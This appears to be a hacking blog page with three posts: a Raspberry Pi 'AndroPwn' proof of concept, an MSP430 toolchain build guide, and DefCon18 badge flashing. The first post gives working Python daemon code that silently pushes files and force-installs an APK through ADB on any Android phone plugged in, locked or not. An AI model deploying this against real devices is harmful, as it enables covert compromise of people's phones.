Le Raspberry Pi, mini-ordinateur format carte de crédit à base de processeur ARM et à faible consommation, est décidemment étonnant. J'ai eu la chance d'en recevoir un fin septembre (car oui, plein d'autres geeks attendent encore et toujours, j'admire leur patience) et ça tombe bien puisque j'avais plusieurs idées de projets basées sur ce fameux composant. Bon, par souci de lecture (et aussi par fainéantise), nous l'affublerons du sobriquet "Rasppi" dans la suite de cet article.
Le Raspberry Pi c'est le bien, prenez en !
J'étais tellement fou de joie de l'avoir reçu que j'en ai fait le sujet d'un meeting HZV, afin de faire un retour d'expérience sur l'utilisation de cette bestiole. Après quelques semaines à le bidouiller, j'ai ainsi pu découvrir quelques hacks ingénieux, mais aussi les limites du Rasppi. Car oui, à ce prix là (~35€), on en a pour son argent: le processeur n'est pas une bête de course, la RAM limite (mais suffisante) et surtout des lacunes dans l'alimentation. Ce dernier point ne pose pas de souci majeur, nous allons donc l'oublier (il fera l'objet d'un futur article).
Si vous tenez absolument à en faire un PC de salon, ou pire un média center, c'est votre droit mais ne vous attendez pas à des miracles. Par contre comme PC embarqué dans de petits boitiers, ou alimenté via une batterie USB, c'est le pied ! Je vous conseille ce genre de modèle (de chez Novago), qui tient la route (quelques heures d'autonomie) avec un Rasppi seul:
Si vous souhaitez mettre du Wifi, c'est une autre paire de manches. J'aborderai cet aspect dans un prochain article. Pour le moment, on dispose d'un PC de poche alimenté sur batterie, pour moins de 80€.
J'allais oublier, il lui faut aussi une carte SD haute capacité (HC), pour ma part j'ai opté pour une Sandisk de 16Go Class 10. J'en ai profité pour installer une Raspbian (un portage de Debian Wheezy pour architecture ARM), à partir des dépots officiels.
Le côté obscur du Rasppi
Une des premières idées que j'ai eu quand j'ai entendu parler du Rasppi concerne une attaque physique. Je suis parti du constat que beaucoup de possesseurs de smartphones Android ont rooté leur engin, pour des raisons plus ou moins valables (comme par exemple installer ZeroSMS =). Et qu'un bon nombre de ces possesseurs de smartphone ont activé l'option de débogage via USB. Et qu'ils vont laisser traîner leur smartphone un peu partout. Ou laisser le montage de la carte SD en automatique lors de la connexion d'un cable USB. Je pense que vous voyez où je veux en venir: avec un Rasppi, on peut très facilement avoir juste un cable qui dépasse, et se connecter à un smartphone laissé sans surveillance. Pour en faire un peu tout et n'importe quoi.
La preuve de concept que je vous propose de réaliser est la suivante: transformer un Raspberry Pi en outil de compromission automatique de smartphone sous Android. Je ne vais pas vous donner d'outil tout fait, cela n'est pas la politique de la maison, mais plutôt vous démontrer qu'avec très peu de moyens ce type d'attaque est tout à fait envisageable. Commençons par bidouiller notre Rasppi.
Une fois le Rasppi configuré, on peut s'y connecter en SSH pour faire un brin d'administration. On va commencer par installer git:
# apt-get install git
Et on enchaîne en téléchargeant le code source d'ADB (Android Debug Bridge), un outil du SDK d'Android permettant de communiquer avec un périphérique via une connexion USB et de faire à peu près tout ce que l'on veut. Comme par exemple accéder au contenu de la carte SD, installer/désinstaller des applications, voire même modifier des paramètres système si le smartphone est rooté. On doit le compiler car le SDK de base d'Android ne contient qu'une version x86, et pas ARM:
# apt-get install build-essential libncurses5-dev $ git clone git://codeaurora.org/platform/system/core.git system/core $ git clone git://codeaurora.org/platform/build.git build $ git clone git://codeaurora.org/platform/external/zlib.git external/zlib $ git clone git://codeaurora.org/platform/bionic.git bionic
On récupère ensuite un Makefile que l'on copie dans le dossier system/core/adb:
$ wget https://gist.github.com/gists/958335/download -O system/core/adb/Makefile.tgz $ cd system/core/adb $ tar xvzf Makefile.gz $ mv gist958335-3311049e9dc7b506f37b752c4f046997086e13fc/Makefile Makefile $ rm -rf gist958335-3311049e9dc7b506f37b752c4f046997086e13fc
On modifie la ligne qui définit TOOLCHAIN de manière à ce qu'elle ne soit pas paramétrée:
... # ancienne ligne # TOOLCHAIN= arm-none-linux-gnueabi- TOOLCHAIN= ...
Et on compile:
$ make $ cp adb /usr/local/bin/
Si vous avez tout suivi, vous devez vous retrouver avec une version d'ADB. Je me suis inspiré de cette page, je vous invite à vous y reporter si je n'ai pas été très clair.
Il ne reste plus qu'à coder un daemon en python qui surveille les connexions et déconnexions de périphériques USB, et qui lance une ou plusieurs commandes avec ADB lors de la connexion. Voici un exemple de code qui fait l'affaire:
import re
import sys
import subprocess
from time import sleep
from daemon import Daemon
device_re = re.compile("Bus\s+(?P<bus>\d+)\s+Device\s+(?P<device>\d+).+ID\s(?P<id>\w+:\w+)\s(?P<tag>.+)$", re.I)
class AndroPwnDaemon(Daemon):
def get_devices(self):
df = subprocess.check_output("lsusb", shell=True)
devices = []
for i in df.split('\n'):
if i:
info = device_re.match(i)
if info:
dinfo = info.groupdict()
devices.append(dinfo['id'])
return devices
def run(self):
print 'AndroPwn - Android Autopwn via Raspberry Pi ]'
print '>> author: Damien "virtualabs" Cauquil <virtualabs@gmail.com>'
print ''
devices = self.get_devices()
while True:
devices_ = self.get_devices()
for device in devices_:
if device not in devices:
print '[+] New device connected, infecting ...'
# True evil code here (this one only gets uname :)
p = subprocess.Popen(['/usr/local/bin/adb','-d','push','/home/pi/andropwn/0wn3d.txt','/sdcard/'], stdout=subprocess.PIPE)
output = p.communicate()[0]
p = subprocess.Popen(['/usr/local/bin/adb','-d','install','/home/pi/andropwn/evil.apk'], stdout=subprocess.PIPE)
output = p.communicate()[0]
print output
devices = [i for i in devices_]
sleep(1)
if __name__ == '__main__':
daemon = AndroPwnDaemon('/tmp/andropwn.pid',stdout='/tmp/andropwn.log')
if len(sys.argv) == 2:
if 'start' == sys.argv[1]:
daemon.start()
elif 'stop' == sys.argv[1]:
daemon.stop()
elif 'restart' == sys.argv[1]:
daemon.restart()
else:
sys.exit(2)
sys.exit(0)
else:
print 'usage: %s start|stop|restart' % sys.argv[0]
sys.exit(2)
Cette version ne fait que dropper un fichier texte sur la carte SD (si celle-ci est accessible) et installe de force un APK nommé evil.apk. Libre à vous de faire un script permettant de le lancer automatiquement au démarrage, personnellement c'est ce que j'ai fait pour ma démo. Le fichier evil.apk n'est rien d'autre que l'application PodcastAddict qui s'installe automatiquement à l'insu du propriétaire du smartphone ciblé. Ci-dessous une démonstration de l'attaque (soyez indulgent, ça doit être ma première vidéo sur youtube, et mon matériel de montage ne supporte pas le format du caméscope. Sans parler du wallpaper de mon smartphone, enfin je pense que vous pouvez comprendre =).
<center><object width="560" height="315"><param name="movie" value="http://www.youtube-nocookie.com/v/FuFZ2woL36Y?version=3&hl=en_US"></param><param name="allowFullScreen" value="true"></param><param name="wmode" value="opaque"><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube-nocookie.com/v/FuFZ2woL36Y?version=3&hl=en_US" type="application/x-shockwave-flash" width="560" height="315" allowscriptaccess="always" allowfullscreen="true" wmode="opaque"></embed></object></center>
Quel est l'intérêt de passer par ADB me direz-vous ? Il est double. D'une part on a accès à presque tout (enfin ça dépend des versions d'Android, notamment les ROMs fournies par les opérateurs), et d'autre part cela fonctionne même lorsque le smartphone est en veille ou verrouillé ! On peut bien sûr faire plein d'autres choses, comme par exemple aspirer tous les fichiers présents sur la carte SD, lancer des applications à la place de l'utilisateur, rooter le smartphone, bref il n'y a vraiment pas de limite.
Conclusion
Deux points importants dans ma conclusion. Le premier concerne le fait de rooter un smartphone: ne le faites pas sans savoir à quoi vous vous exposez, ni aux risques que vous prenez. Le second point concerne la sécurité physique des smartphones: même verrouillés, évitez de les laisser traîner ! Gardez votre smartphone sous bonne surveillance, et prenez soin de désactiver les fonctionnalités inutiles.
Les smartphones ne sont rien de moins que des ordinateurs de poche, qui font accessoirement office de téléphone. Il faut avoir la même hygiène (si ce n'est pire) que celle adoptée avec les ordinateurs portables.
Lors du dernier meeting HZV, Mandarine a présenté le TI Launchpad, un circuit d'expérimentation réalisé par TI et basé sur un micro-contrôleur MSP430. J'avais auparavant entendu parler d'Arduino, et même eu dans les mains un Arduino prêté par l'ami Tixlegeek, mais j'hésitais à en acheter un. Et je dois avouer que le MSP430 m'a fait craquer.
Arduino vs. TI Launchpad
Lorsque Mandarine a présenté le TI Launchpad, je m'attendais à quelque chose d'un peu roots, et je n'ai pas été déçu. Contrairement à l'Arduino, le Launchpad ne possède aucun module d'extension officiel (ce qu'on nomme shields chez Arduino), et il faut donc tout concevoir. Cette approche me plaît plus qu'avec Arduino, car cela nécessite une documentation et un effort de la part de celui qui veut concevoir un circuit basé sur un MSP430. Mais c'est vrai que cela peut faire peur. Toutefois, mis à part cet aspect rustique de la board de TI, plusieurs éléments m'ont séduit.
Le premier d'entre eux est l'existence de plusieurs packages Debian et Ubuntu offrant la possibilité de développer en C et même en C++ sur MSP430, en s'affranchissant royalement d'une surcouche, contrairement à Arduino où il faut employer l'IDE Arduino et la couche Arduino, qui n'améliore pas les performances. Ces outils sont opensource, et dérivés des outils standards GNU comme binutils et gcc. J'aime.
Second point, le prix. C'est idiot, mais à 4 dollars et 30 cents le TI Launchpad, cela vaut vraiment le coup. Sans compter qu'un MSP430 de rechange est fourni (si vous grillez celui installé sur la board), ainsi que des contacteurs et un micro-quartz que l'on peut souder pour améliorer la stabilité de l'horloge. Et un cordon USB. Pour seulement un peu plus de 4 dollars. Comparé aux 20 et quelques euros réclamés pour un Arduino UNO, c'est très intéressant.
J'ai donc décidé d'en commander deux, pour voir exactement ce que c"est et comment cela pourrait me servir dans mes projets hardware. Et je viens de les recevoir.
Unboxing du TI Launchpad
Je dois avouer que tout cela est très bien packagé: une belle boîte (quoique, dans mon cas recouvertes d'étiquettes en tout genre), une présentation soignée, et des stickers de surcroît !
Installation de la toolchain
La toolchain est en réalité un ensemble d'outils permettant de développer et compiler des programmes pour le MSP430 du Launchpad. Heureusement, plusieurs paquets existent pour les distributions Debian et Ubuntu:
msp430-gcc msp430-libc mspdebug
Mais en réalité, ces paquets ne sont disponibles que sur Ubuntu 10.10 ou Debian sid (testing). Or ma distribution de choix est Squeeze (Debian 6.0), et ces paquets ne sont pas compatibles. J'ai bien essayé de les installer à la barbare, mais rien n'y fait. Pas le choix donc que de trouver une solution alternative: la compilation from scratch.
Pour les heureux possesseurs d'une Debian Squeeze qui souhaiteraient comme moi tester le Launchpad de TI et son MSP430, je vous livre dans les lignes suivantes la technique pour installer proprement et correctement la toolchain, testé et approuvé.
L'outil msp430-gcc est en réalité une version modifiée du célèbre compilateur GNU GCC, et un projet créé par des adorateurs ultimes du MSP430 a été créé de manière à fournir aux libristes un moyen de créer cette toolchain: j'ai nommé le projet mspgcc. Ce projet contient un ensemble de patches à appliquer à des versions publiées et stables d'outils GNU (comme binutils et gcc) afin d'obtenir des binaires permettant de compiler des programmes pour MSP430.
Avant toute chose, il faut passer root sur sa machine, et créer un dossier dédié à la construction de la toolchain:
$ su - # mkdir msp430 # cd msp430
On s'assure ensuite d'avoir tous les paquets nécessaires à la compilation:
msp430:/# apt-get install libmpfr-dev libncurses5-dev zlibc zlib1g-dev libx11-dev libusb-dev libreadline6-dev libgmp3-dev libmpc-dev make
Ensuite, on récupère la version LTS (Long-Term Support) de mspgcc :
msp430/:# wget -O mspgcc.tar.bz2 http://downloads.sourceforge.net/project/mspgcc/mspgcc/mspgcc-20120406.tar.bz2?r=&ts=1359415411&use_mirror=ignum msp430/:# tar xvjf mspgcc.tar.bz2 msp430/:# mv mspgcc-20120406 mspgcc msp430/:# cd mspgcc msp430/mspgcc/:#
On jette un oeil aux versions des logiciels requis pour les patches:
msp430/mspgcc/:# ls -Al drwxr-sr-x 2 root root 4096 6 avril 2012 docs drwxr-sr-x 4 root root 4096 6 avril 2012 htdocs -rw-r--r-- 1 root root 342378 6 avril 2012 msp430-binutils-2.21.1a-20120406.patch -rw-r--r-- 1 root root 390548 6 avril 2012 msp430-gcc-4.6.3-20120406.patch -rw-r--r-- 1 root root 382048 6 avril 2012 msp430-gdb-7.2a-20111205.patch -rw-r--r-- 1 root root 9 6 avril 2012 msp430-libc.version -rw-r--r-- 1 root root 9 6 avril 2012 msp430mcu.version -rw-r--r-- 1 root root 2955 6 avril 2012 README -rw-r--r-- 1 root root 52679 6 avril 2012 RELEASES.TXT
Cette version de mspgcc se base sur la version 2.21.1a de binutils, la version 4.6.3 de gcc et la version 7.2a de gdb. On télécharge ces logiciels sous forme d'archive de code source dans le dossier courant:
msp430/mspgcc/:# wget ftp://ftp.gnu.org/pub/gnu/binutils/binutils-2.21.1a.tar.bz2 msp430/mspgcc/:# wget ftp://ftp.gnu.org/pub/gnu/gcc/gcc-4.6.3/gcc-4.6.3.tar.bz2 msp430/mspgcc/:# wget ftp://ftp.gnu.org/pub/gnu/gdb/gdb-7.2a.tar.bz2
Et on les décompresse dans le dossier courant:
msp430/mspgcc/:# tar xvjf binutils-2.21.1a.tar.bz2 msp430/mspgcc/:# tar xvjf gcc-4.6.3.tar.bz2 msp430/mspgcc/:# tar xvjf gdb-7.2a.tar.bz2
On applique ensuite les patches du projet mspgcc. Attention, cette étape est cruciale, si vous l'oubliez la suite ne fonctionnera pas !
msp430/mspgcc/:# cd binutils-2.21.1 msp430/mspgcc/binutils-2.21.1/:# patch -p1 < ../msp430-binutils-2.21.1a-20120406.patch msp430/mspgcc/:# cd ../gcc-4.6.3/ msp430/mspgcc/gcc-4.6.3/:# patch -p1 < ../msp430-gcc-4.6.3-20120406.patch msp430/mspgcc/:# cd ../gdb-7.2/ msp430/mspgcc/gdb-7.2/:# patch -p1 < ../msp430-gdb-7.2a-20111205.patch msp430/mspgcc/gdb-7.2/:# cd ..
Avant de commencer à construire la toolchain, il faut au préalable créer un dossier de destination dans lequel on installera les binaires. J'ai opté pour /opt/msp430, mais libre à vous de choisir le nom et l'emplacement qui vous plaît.
msp430/mspgcc/:# mkdir /opt/msp430 msp430/mspgcc/:# export BUILD=/opt/msp430
On configure et on compile les binutils:
msp430/mspgcc/:# cd binutils-2.21.1 msp430/mspgcc/binutils-2.21.1/:# ./configure --target=msp430 --prefix=$BUILD msp430/mspgcc/binutils-2.21.1/:# make && make install msp430/mspgcc/binutils-2.21.1/:# cd ..
On configure et on compile gcc:
msp430/mspgcc/:# cd gcc-4.6.3 msp430/mspgcc/gcc-4.6.3/:# mkdir gcc-build msp430/mspgcc/gcc-4.6.3/gcc-build/:# ../configure --target=msp430 --enable-languages=c,c++ --prefix=$BUILD msp430/mspgcc/gcc-4.6.3/gcc-build/:# make && make install
Et pour terminer, on configure et on compile gdb:
msp430/mspgcc/:# cd gdb-7.2 msp430/mspgcc/gdb-7.2/:# ../configure --target=msp430 --prefix=$BUILD msp430/mspgcc/gdb-7.2/:# make && make install
Les outils de compilation ont été installés dans le dossier /opt/msp430 (ou celui que vous avez paramétré). Il ne reste plus qu'à installer la libc compilée pour le MSP430 et les entêtes. Pour cela, il faut récupérer sur le site du projet les fichiers suivants:
msp430mcu-20120716.tar.bz2 msp430-libc-20120716.tar.bz2
La compilation de la libc nécessite que le binaire msp430-gcc, produit lors de la compilation de gcc pour msp430, soit accessible dans le PATH:
msp430/:# export PATH=$*PATH*:$BUILD/bin
On peut ensuite décompresser la libc, la configurer, la compiler et l'installer:
msp430/:# tar xvjf msp430-libc-20120716.tar.bz2 msp430/:# cd msp430-libc-20120716 msp430/msp430-libc-20120716/:# ./configure --prefix=$BUILD msp430/msp430-libc-20120716/:# cd src msp430/msp430-libc-20120716/src:# make && make install msp430/msp430-libc-20120716/src:# cd ../../
Et terminer par l'installation des entêtes de développement:
msp430/:# tar xvjf msp430mcu-20120716.tar.bz2 msp430/:# cd msp430mcu-20120716 msp430/msp430mcu-20120716/:# export MSP430MCU_ROOT=$(pwd) msp430/msp430mcu-20120716/:# scripts/install.sh $BUILD
Bon, voilà une bonne chose de faite ! On a installé gcc, gdb, la libc et les entêtes de développement. Nous allons aussi modifier le fichier /etc/profile pour qu'il prenne en compte nos binaires créés. Pour cela on l'édite, et on ajoute la ligne suivante à la fin du fichier:
export PATH=$*PATH*:/opt/msp430/bin
On recharge ensuite notre profil:
# source /etc/profile
Installation de mspdebug
Mspdebug est l'outil nécessaire pour programmer et déboguer le MSP430. Il s'agit encore une fois d'un projet opensource, que l'on va installer sur notre machine. Téléchargez la dernière version sur Sourceforge, puis installez-la:
msp430/:# tar xvzf mspdebug-0.21.tar.gz msp430/:# cd mspdebug-0.21/ msp430/mspdebug-0.21/:# ./configure && make && make install
Configuration d'UDEV
Afin que notre Launchpad soit détecté par USB, il faut s'assurer qu'une règle est bien présente dans la configuration d'UDEV. Si elle n'y est pas, il faut la créer:
# cat /etc/udev/rules.d/46-launchpad.rules ATTRS*idVendor*=='0451',ATTRS*idProduct*=='f432',MODE='0660',GROUP='plugdev'
Une fois cela effectué, vous pouvez vous amuser avec votre launchpad. Vous trouverez notamment un programme exemple sur Hack a Day, et la manière de programmer le MSP430 avec mspdebug. Je ferai certainement un prochain billet sur le développement sur Launchpad.
Bon, pour la route je vous donne mon Helloworld:
int main(void) {
/* disable watchdog */
WDTCTL = WDTPW + WDTHOLD;
P1DIR = BIT0|BIT6;
P1OUT = BIT6;
while(1) {
if ((P1IN & BIT3)==BIT3)
P1OUT = BIT6;
else
P1OUT = BIT0;
}
}
Et mon Makefile:
CC=msp430-gcc
CFLAGS=-Os -Wall -g -mmcu=msp430g2231
OBJS=main.o
all: $(OBJS)
$(CC) $(CFLAGS) -o main.elf $(OBJS)
%.o: %.c
$(CC) $(CFLAGS) -c $<
clean:
rm -fr main.elf $(OBJS)
Conclusion
Le Launchpad de TI est tout à fait valable, car pas cher et quand même très bien fourni avec son MSP430. Certes, cela nécessite plus de travail qu'avec un Arduino, mais c'est un peu comme avec Linux, on a plus de contrôle sur le système et on peut donc en faire exactement ce que l'on veut. Une philosophie que j'apprécie tout particulièrement. Testez, découvrez, bidouillez avec le Launchpad de TI.
Last july stood the DefCon18 at Las Vegas and I was lucky enough to be there with three friends of mine. As we registered to this event (140 bucks), we got some stickers and a DefCon18 CD and a nice shiny badge which is in fact a real circuit board with a mini-usb port, some leds and a cool LCD display. I was asking myself if there were a way to hack this little badge in order to make it display everything we want to, but I spent my time reversing the firmware source code to unlock the Ninja Party feature of this badge (I coded a short python keygen by the way). Anyway, I went to the Hardware Hacking Village (HHV) located in the sky boxes (near the Lockpicking Village) and met a lot of hardware hackers trying to hack some robots and other cool stuff. I asked a goon if he had any idea about how to flash the DefCon18 badge but he couldn't help, so I decided to figure it out by myself.
Joe Grand's PDF
I took my DefCon CD and decided to make a deep search in the dedicated DefCon18 badge folder it contains, and found a PDF about DefCon electronic badges designed by Joe Grand. This PDF contains all the necessary stuff to flash the badge, but some tricks were missing. I tried it the way it was explained, but I did not succeed. After many long minutes and a very grateful help from a dude, I eventually found the way to do this.
Before flashing this little toy, let's have a look at it:
Follow the guide
First of all, you need an USB to mini-usb adapter, in order to connect to the badge. You also need the correct drivers and install them on your computer. I found the correct drivers on the Internet but you are lucky, I put the installer right after this post. Oh, and remove the battery from the badge and be careful, many badges were broken at the HHV by some people who did not handle it with enough care.
Before connecting the badge to the USB port, press the two buttons of the badge simultaneously, and hold them while plugging the USB cable into your computer. If you did everything correctly, the badge would look like this:
Run an hyperterminal, and create a new connection on the newly appeared COMXX (the virtual COM port associated with the USB cable connected to the DefCon badge). If no COM port is visible you may have done something wrong. Configure the connection (9600 bps, 8 bits, parity:null, stop bits: 1, stream control: Xon/Xoff) and then click OK. Your connection is configured and now active. And now is the great moment, we are going to send the original firmware into the badge, and reset it. When I first try to send the firmware, I was doing it wrong because I was trying to send the firmware as a binary data, but in fact it is only text (great thanks to the dude who helped me on this), and all you have to do is only click the "Send Text File" submenu in the "Transfer" Menu and then select the firmware according to Joe Grand's PDF and click OK.
BUT (because there's always a but) the first try generally fails and you have to do it again and wait 30~ seconds to see the badge LEDs blinking. Once it's done, the badge would reset itself and launch the new firmware. I found a way to fix this up: if you save your connection and reload it from the hyperterminal, it would be ok the next time (no wait) and it would send it correctly on the first try.
I made a little screen cast as a reminder for many of you bored to read a long paragraph of extremely annoying phrases.
<object id="scPlayer" class="embeddedObject" width="635" height="675" type="application/x-shockwave-flash" data="http://content.screencast.com/users/Virtualabs/folders/Jing/media/08d8df84-57dd-4a8a-88f4-6ec7afc43fa9/jingswfplayer.swf" > <param name="movie" value="http://content.screencast.com/users/Virtualabs/folders/Jing/media/08d8df84-57dd-4a8a-88f4-6ec7afc43fa9/jingswfplayer.swf" /> <param name="quality" value="high" /> <param name="bgcolor" value="#FFFFFF" /> <param name="flashVars" value="thumb=http://content.screencast.com/users/Virtualabs/folders/Jing/media/08d8df84-57dd-4a8a-88f4-6ec7afc43fa9/FirstFrame.jpg&containerwidth=635&containerheight=675&content=http://content.screencast.com/users/Virtualabs/folders/Jing/media/08d8df84-57dd-4a8a-88f4-6ec7afc43fa9/Flashing_DefCon18_Badge.swf&blurover=false" /> <param name="allowFullScreen" value="true" /> <param name="scale" value="showall" /> <param name="allowScriptAccess" value="always" /> <param name="base" value="http://content.screencast.com/users/Virtualabs/folders/Jing/media/08d8df84-57dd-4a8a-88f4-6ec7afc43fa9/" /> </object>
(And yes it is all in french, but f*ck ya :)
All the necessary materials are provided at the end of this post (badge drivers, my custom firmware and Joe Grand's original firmware).
DefCon18 Ninja Badge
I managed to get one of those marvelous electronic geeky toys from the 650 released at the DefCon (well, I'm not going to give any deeper details about the way I got it, but say I just grabbed some juicy informations from an uncommon person present at this DefCon18 and submitted them to the Wall of Sheep crew ;), and here are some extra pictures of this ninja badge !
When caming back from vegas, I was thinking about how to flash this one, but it is not very easy and there is no goon in France able to explain me how to do this (and maybe I'm not a pure hardware hacker too). Nevermind, I'll try to do it later.
<center><embed type="application/x-shockwave-flash" src="http://picasaweb.google.com/s/c/bin/slideshow.swf" width="400" height="267" flashvars="host=picasaweb.google.com&hl=fr&feat=flashalbum&RGB=0x000000&feed=http%3A%2F%2Fpicasaweb.google.com%2Fdata%2Ffeed%2Fapi%2Fuser%2Fvirtualabs%2Falbumid%2F5514264346484685761%3Falt%3Drss%26kind%3Dphoto%26authkey%3DGv1sRgCIe9rYG-hs2hXg%26hl%3Dfr" pluginspage="http://www.macromedia.com/go/getflashplayer"></embed></center>